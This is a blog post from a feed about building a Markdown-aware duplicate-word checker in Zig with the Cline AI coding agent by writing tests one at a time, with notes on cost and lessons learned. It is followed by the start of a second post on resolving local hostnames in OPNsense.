&lt;p>I make this mistake frequently on my blog, and I often miss it until late in proofreading or after publication.&lt;/p>
&lt;p>Matt Might shared a Perl script that finds lexical illustions, but it was rudimentary and produced a lot of false positives on my blog due to Markdown formatting characters.&lt;/p>
&lt;p>I asked Kagi Assistant to write a Markdown-aware version in Python, but it kept producing buggy code.&lt;/p>
&lt;p>I realized this was a perfect test case for Cline because the problem is easy to define. I should be able to just keep showing the AI assistant test cases with the behavior I want in, and it should be able to just keep editing the code until the test passes.&lt;/p>
&lt;p>It was also an excuse to write in &lt;a href="https://ziglang.org">Zig&lt;/a>, as I want this tool to run as quickly as possible over a large set of files, and I &lt;a href="https://mtlynch.io/tags/zig/">love working with Zig&lt;/a>.&lt;/p>
&lt;h2 id="defining-the-problem">Defining the problem&lt;/h2>
&lt;p>The main interface of my tool was simple: it needed to accept file contents as a string (a &lt;code>[] const u8&lt;/code> in Zig) and then produce a list of duplicate words with their corresponding line numbers.&lt;/p>
&lt;p>The basic main interface looked like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">pub&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>DupeWord&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">struct&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>line_number:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">u32&lt;/span>,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>word:&lt;span style="color:#666"> &lt;/span>[]&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>};&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">pub&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">FindAdjacentDupes&lt;/span>(allocator:&lt;span style="color:#666"> &lt;/span>std.mem.Allocator,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>input:&lt;span style="color:#666"> &lt;/span>[]&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>)&lt;span style="color:#666"> &lt;/span>!&lt;span style="color:#447fcf">ArrayList&lt;/span>(DupeWord)&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic">// TODO: Implement this.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And these were my initial unit tests:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">test&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;FindAdjacentDupes&amp;#34;&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic">// Don&amp;#39;t consider distinct words to be duplicates.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">testFindDupes&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;cat dog&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&amp;amp;[_]DupeWord{});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#999;font-style:italic">// Find simple dupes.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">testFindDupes&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;cat cat&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&amp;amp;[_]DupeWord{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>.{&lt;span style="color:#666"> &lt;/span>.line_number&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">1&lt;/span>,&lt;span style="color:#666"> &lt;/span>.word&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;cat&amp;#34;&lt;/span>&lt;span style="color:#666"> &lt;/span>},&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">testFindDupes&lt;/span>(input:&lt;span style="color:#666"> &lt;/span>[]&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>,&lt;span style="color:#666"> &lt;/span>expected:&lt;span style="color:#666"> &lt;/span>[]&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>DupeWord)&lt;span style="color:#666"> &lt;/span>!&lt;span style="color:#6ab825;font-weight:bold">void&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>allocator&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>testing.allocator;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>result&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">FindAdjacentDupes&lt;/span>(allocator,&lt;span style="color:#666"> &lt;/span>input);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">defer&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">for&lt;/span>&lt;span style="color:#666"> &lt;/span>(result.items)&lt;span style="color:#666"> &lt;/span>|item|&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>allocator.&lt;span style="color:#447fcf">free&lt;/span>(item.word);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>result.&lt;span style="color:#447fcf">deinit&lt;/span>();&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>testing.&lt;span style="color:#447fcf">expectEqual&lt;/span>(expected.len,&lt;span style="color:#666"> &lt;/span>result.items.len);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">for&lt;/span>&lt;span style="color:#666"> &lt;/span>(expected,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">0&lt;/span>..)&lt;span style="color:#666"> &lt;/span>|expected_dupe,&lt;span style="color:#666"> &lt;/span>i|&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>testing.&lt;span style="color:#447fcf">expectEqual&lt;/span>(expected_dupe.line_number,&lt;span style="color:#666"> &lt;/span>result.items[i].line_number);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>testing.&lt;span style="color:#447fcf">expect&lt;/span>(std.mem.&lt;span style="color:#447fcf">eql&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>,&lt;span style="color:#666"> &lt;/span>expected_dupe.word,&lt;span style="color:#666"> &lt;/span>result.items[i].word));&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="clines-initial-results">Cline&amp;rsquo;s initial results&lt;/h2>
&lt;p>Within about 30 seconds and $0.09 of LLM credit spending, Cline got the tests to pass:&lt;/p>



























&lt;div class="img" style="max-width: 247px">



 &lt;a href="https://mtlynch.io/notes/cline-is-mesmerizing/cline-results.webp">
 &lt;img
 
 sizes="(min-width: 768px) 247px, 98vw"
 srcset='https://mtlynch.io/notes/cline-is-mesmerizing/cline-results.webp 247w'
 src="https://mtlynch.io/notes/cline-is-mesmerizing/cline-results.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Cline had updated &lt;code>FindAdjacentDupes&lt;/code> with this implementation:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">pub&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">FindAdjacentDupes&lt;/span>(allocator:&lt;span style="color:#666"> &lt;/span>std.mem.Allocator,&lt;span style="color:#666"> &lt;/span>input:&lt;span style="color:#666"> &lt;/span>[]&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>)&lt;span style="color:#666"> &lt;/span>!&lt;span style="color:#447fcf">ArrayList&lt;/span>(DupeWord)&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>result&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">ArrayList&lt;/span>(DupeWord).&lt;span style="color:#447fcf">init&lt;/span>(allocator);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>it&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>std.mem.&lt;span style="color:#447fcf">splitScalar&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>,&lt;span style="color:#666"> &lt;/span>input,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#39; &amp;#39;&lt;/span>);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>prev_word:&lt;span style="color:#666"> &lt;/span>?[]&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">null&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">while&lt;/span>&lt;span style="color:#666"> &lt;/span>(it.&lt;span style="color:#447fcf">next&lt;/span>())&lt;span style="color:#666"> &lt;/span>|word|&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span>&lt;span style="color:#666"> &lt;/span>(prev_word)&lt;span style="color:#666"> &lt;/span>|prev|&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span>&lt;span style="color:#666"> &lt;/span>(std.mem.&lt;span style="color:#447fcf">eql&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>,&lt;span style="color:#666"> &lt;/span>prev,&lt;span style="color:#666"> &lt;/span>word))&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>dupe_word&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>allocator.&lt;span style="color:#447fcf">dupe&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>,&lt;span style="color:#666"> &lt;/span>word);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>result.&lt;span style="color:#447fcf">append&lt;/span>(DupeWord{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>.line_number&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">1&lt;/span>,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>.word&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>dupe_word,&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>prev_word&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>word;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span>&lt;span style="color:#666"> &lt;/span>result;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Cline made some wrong turns like using &lt;code>var&lt;/code> instead of &lt;code>const&lt;/code> or using a deprecated API, but it self-corrected based on error messages the way a human would.&lt;/p>
&lt;p>The implementation was obviously incomplete, as it didn&amp;rsquo;t handle things like Markdown formatting, uppercase letters, or punctuation. I hadn&amp;rsquo;t shown Cline any test cases with a line number other than &lt;code>1&lt;/code>, so the current implementation hardcoded the line number to always return &lt;code>1&lt;/code>.&lt;/p>
&lt;h2 id="thats-when-i-was-hooked">That&amp;rsquo;s when I was hooked&lt;/h2>
&lt;p>After Cline completed its initial implementation, I kept writing new testcases and then watching Cline update its code to satisfy my tests.&lt;/p>
&lt;p>And that&amp;rsquo;s when I was hooked. I was so amazed that I could develop software this way. I just told the tool what I wanted, and it kept doing exactly what I asked.&lt;/p>
&lt;p>Here&amp;rsquo;s a video I showed at the top of this post of what this looks like in practice:&lt;/p>
&lt;div style="position:relative;padding-top:56.25%;">&lt;iframe src="https://iframe.mediadelivery.net/embed/304035/04e4d47f-ead7-49d5-9ad1-899a5b92caaa?autoplay=false&amp;loop=false&amp;muted=false&amp;preload=true&amp;responsive=true" loading="lazy" style="border:0;position:absolute;top:0;height:100%;width:100%;" allow="accelerometer;gyroscope;autoplay;encrypted-media;picture-in-picture;" allowfullscreen="true">&lt;/iframe>&lt;/div>
&lt;h2 id="results">Results&lt;/h2>
&lt;p>I spent the rest of the day playing with Cline on implementing the tool. And I now have a functional version of the duplicate word finder. I call it &lt;code>wordword&lt;/code>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://codeberg.org/mtlynch/wordword">mtlynch/wordword on Codeberg&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>I used &lt;code>wordword&lt;/code> to find &lt;a href="https://github.com/mtlynch/mtlynch.io/pull/1414">seven instances of lexical illusion errors&lt;/a> on my blog.&lt;/p>
&lt;p>In total, it only cost me $6 in credits on &lt;a href="https://openrouter.ai/">OpenRouter&lt;/a>, which represented five hours of working continuously with Cline.&lt;/p>
&lt;h2 id="what-ive-learned-so-far">What I&amp;rsquo;ve learned so far&lt;/h2>
&lt;h3 id="unsupervised-work-is-suboptimal-but-too-cheap-to-matter">Unsupervised work is suboptimal but too cheap to matter&lt;/h3>
&lt;p>Cline has an option where it will prompt you before each step to approve of the plan. I quickly got bored of hitting &amp;ldquo;Approve&amp;rdquo; every five seconds and just set it up to auto-approve file reads, file writes, and command execution.&lt;/p>
&lt;p>I found that if I stopped paying attention, Cline occasionally got stuck in dead ends, repeatedly attempting strategies that were doomed to fail.&lt;/p>
&lt;p>Despite this, I continued mostly letting Cline run unsupervised until it reached a solution or hit its 20-attempt limit. These dead ends ate up API credits, but on the scale of pennies, so I&amp;rsquo;d rather risk wasting a few cents than micromanaging the assistant.&lt;/p>
&lt;h3 id="cline-trusts-you-unconditionally-so-choose-your-words-carefully">Cline trusts you unconditionally, so choose your words carefully&lt;/h3>
&lt;p>The times that Cline went most loopy was when I accidentally wrote test cases with incorrect behavior.&lt;/p>
&lt;p>This is a test case I wrote too hastily:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// Detect duplicates after a heading
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">testFindDupes&lt;/span>(&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">\\## Foods&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">\\&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">\\These potatoes potatoes are the best!&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>,&lt;span style="color:#666"> &lt;/span>&amp;amp;[_]DupeWord{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>.{&lt;span style="color:#666"> &lt;/span>.line_number&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#3677a9">1&lt;/span>,&lt;span style="color:#666"> &lt;/span>.word&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;potatoes&amp;#34;&lt;/span>&lt;span style="color:#666"> &lt;/span>},&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I accidentally wrote the line number as &lt;code>1&lt;/code> when it should have been &lt;code>3&lt;/code>.&lt;/p>
&lt;p>When I asked Cline to make the test pass, it had a bit of a breakdown trying to figure out how to justify assigning a line number of &lt;code>1&lt;/code> when it should obviously be &lt;code>3&lt;/code>.&lt;/p>
&lt;h3 id="encourage-cline-to-add-debug-print-statements">Encourage Cline to add debug print statements&lt;/h3>
&lt;p>I notice that LLMs tend to guess at solutions rather than stop to gather more information about why a piece of code is behaving as it does.&lt;/p>
&lt;p>When I found Cline getting in a loop of blind attempts to fix a bug, I found it helpful to pause its work and instruct it to insert debug print statements to verify its assumptions about the code. Cline added useful debugging output, and it remembered to remove them all before declaring their solution complete.&lt;/p>
&lt;h3 id="kagi-must-be-losing-money-on-me">Kagi must be losing money on me&lt;/h3>
&lt;p>This is my first time ever using a metered LLM API. I&amp;rsquo;ve seen people talk about token costs, but I never had an intuitive sense of it because Kagi basically just says, &amp;ldquo;Don&amp;rsquo;t worry about what it costs.&amp;rdquo;&lt;/p>
&lt;p>Cline helpfully shows you how much each coding task has run up in credits as you go.&lt;/p>



























&lt;div class="img" style="max-width: 230px">



 &lt;a href="https://mtlynch.io/notes/cline-is-mesmerizing/cline-cost.webp">
 &lt;img
 
 sizes="(min-width: 768px) 230px, 98vw"
 srcset='https://mtlynch.io/notes/cline-is-mesmerizing/cline-cost.webp 230w'
 src="https://mtlynch.io/notes/cline-is-mesmerizing/cline-cost.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>So, I definitely am getting the better end of Kagi&amp;rsquo;s $25/month unlimited plan. I spent $6 in five hours with Cline, and Cline does a lot of things to minimize token consumption. I use Kagi Assistant every day and frequently paste giant files into a chat 10+ times during a conversation. Now that I see the costs, I&amp;rsquo;m probably spending costing Kagi $5-10 in API credits per day.&lt;/p>
&lt;h2 id="other-resources">Other resources&lt;/h2>
&lt;p>Most AI posts are thin on substance or practical lessons. The ones I&amp;rsquo;ve found most useful in seeing what&amp;rsquo;s possible are:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://simonwillison.net/2024/Oct/21/claude-artifacts/">&amp;ldquo;Everything I built with Claude Artifacts this week&amp;rdquo;&lt;/a> by Simon Willison&lt;/li>
&lt;li>&lt;a href="https://nicholas.carlini.com/writing/2024/how-i-use-ai.html">&amp;ldquo;How I Use &amp;lsquo;AI&amp;rsquo;&amp;rdquo;&lt;/a> by Nicholas Carlini&lt;/li>
&lt;li>&lt;a href="https://crawshaw.io/blog/programming-with-llms">&amp;ldquo;How I program with LLMs&amp;rdquo;&lt;/a> by David Crawshaw&lt;/li>
&lt;/ul></content:encoded></item><item><title>How to Resolve Local Hostnames in OPNSense</title><link>https://mtlynch.io/notes/opnsense-local-dns/</link><pubDate>Tue, 21 Jan 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/opnsense-local-dns/</guid><description>&lt;p>My router runs OPNSense Business. I like having an open-source router, but I have a few gripes with it.&lt;/p>
&lt;p>My biggest issue is that, by default, OPNsense can&amp;rsquo;t resolve hostnames on my local network.&lt;/p>
&lt;h2 id="why-cant-opnsense-resolve-local-hostnames">Why can&amp;rsquo;t OPNsense resolve local hostnames?&lt;/h2>
&lt;p>For every other router I&amp;rsquo;ve owned in my life, if there&amp;rsquo;s a computer on my network named &lt;code>foo123&lt;/code> and I run &lt;code>ping foo123&lt;/code> from my main desktop, then everything just works. My desktop successfully pings &lt;code>foo123&lt;/code>.&lt;/p></description><content:encoded>&lt;p>My router runs OPNSense Business. I like having an open-source router, but I have a few gripes with it.&lt;/p>
&lt;p>My biggest issue is that, by default, OPNsense can&amp;rsquo;t resolve hostnames on my local network.&lt;/p>
&lt;h2 id="why-cant-opnsense-resolve-local-hostnames">Why can&amp;rsquo;t OPNsense resolve local hostnames?&lt;/h2>
&lt;p>For every other router I&amp;rsquo;ve owned in my life, if there&amp;rsquo;s a computer on my network named &lt;code>foo123&lt;/code> and I run &lt;code>ping foo123&lt;/code> from my main desktop, then everything just works. My desktop successfully pings &lt;code>foo123&lt;/code>.&lt;/p>
&lt;p>With OPNsense, I can&amp;rsquo;t ping &lt;code>foo123&lt;/code> from my desktop. OPNsense seems to not resolve local hostnames by default, and I don&amp;rsquo;t understand why.&lt;/p>
&lt;p>I&amp;rsquo;ve found workarounds that improve the situation somewhat, but it&amp;rsquo;s still not perfect.&lt;/p>
&lt;h2 id="tell-unbound-to-resolve-local-hostnames">Tell Unbound to resolve local hostnames&lt;/h2>
